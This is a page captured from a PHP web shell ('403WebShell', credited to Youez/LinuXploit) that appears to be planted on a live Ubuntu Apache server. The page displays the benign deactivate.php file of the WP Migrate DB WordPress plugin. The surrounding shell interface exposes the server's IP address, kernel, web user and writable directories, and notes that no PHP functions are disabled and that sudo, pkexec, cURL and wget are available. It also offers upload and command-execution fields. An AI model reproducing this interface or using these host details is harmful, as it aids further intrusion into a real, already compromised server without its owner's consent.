Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.216.159
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/wp-migrate-db/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/wp-migrate-db/class/deactivate.php
<?php

function wpmdb_get_active_plugins() {
	if ( is_multisite() ) {
		$active_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
		$active_plugins = array_keys( $active_plugins );
	} else {
		$active_plugins = (array) get_option( 'active_plugins', array() );
	}

	return $active_plugins;
}

/**
 * Checks if another version of WPMDB(Pro) is active and deactivates it.
 * To be hooked on `activated_plugin` so other plugin is deactivated when current plugin is activated.
 *
 * @param string $plugin
 *
 */
function wpmdb_deactivate_other_instances( $plugin ){
	if ( ! in_array( basename( $plugin ), array( 'wp-migrate-db-pro.php', 'wp-migrate-db.php' ) ) ) {
		return;
	}

	$plugin_to_deactivate  = 'wp-migrate-db.php';
	$deactivated_notice_id = '1';
	if ( basename( $plugin ) == $plugin_to_deactivate ) {
		$plugin_to_deactivate  = 'wp-migrate-db-pro.php';
		$deactivated_notice_id = '2';
	}
	DeliciousBrains\WPMDB\Common\Util\Util::disable_legacy_addons();
	$active_plugins = wpmdb_get_active_plugins();

	foreach ( $active_plugins as $basename ) {
		if ( false !== strpos( $basename, $plugin_to_deactivate ) ) {
			set_transient( 'wp_migrate_db_deactivated_notice_id', $deactivated_notice_id, 1 * HOUR_IN_SECONDS );
			deactivate_plugins( $basename );

			return;
		}
	}
}


/**
 * Check if both Pro and Free instances of the plugin are active at the same time.
 * And deactivates the free instance.
 * Hooked on `wpmdb_migration_complete`
 *
 * @param string $type Intent type
 */
function wpmdb_deactivate_free_instance_after_migration( $type ) {
	if ( $type !== 'import' ) {
		return;
	}
	// Flush WP cache to get list of active plugins from DB
	wp_cache_flush();

	$plugins = wpmdb_get_active_plugins();
	$pro_basename = $free_basename = false;

	foreach ( $plugins as $plugin ) {
		$basename = basename( $plugin );
		if ( $basename === 'wp-migrate-db-pro.php' ) {
			$pro_basename = $plugin;
			continue;
		}

		if ( $basename === 'wp-migrate-db.php' ) {
			$free_basename = $plugin;
		}
	}

	if ( $free_basename !== false && $pro_basename !== false ) {
		deactivate_plugins( $free_basename );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit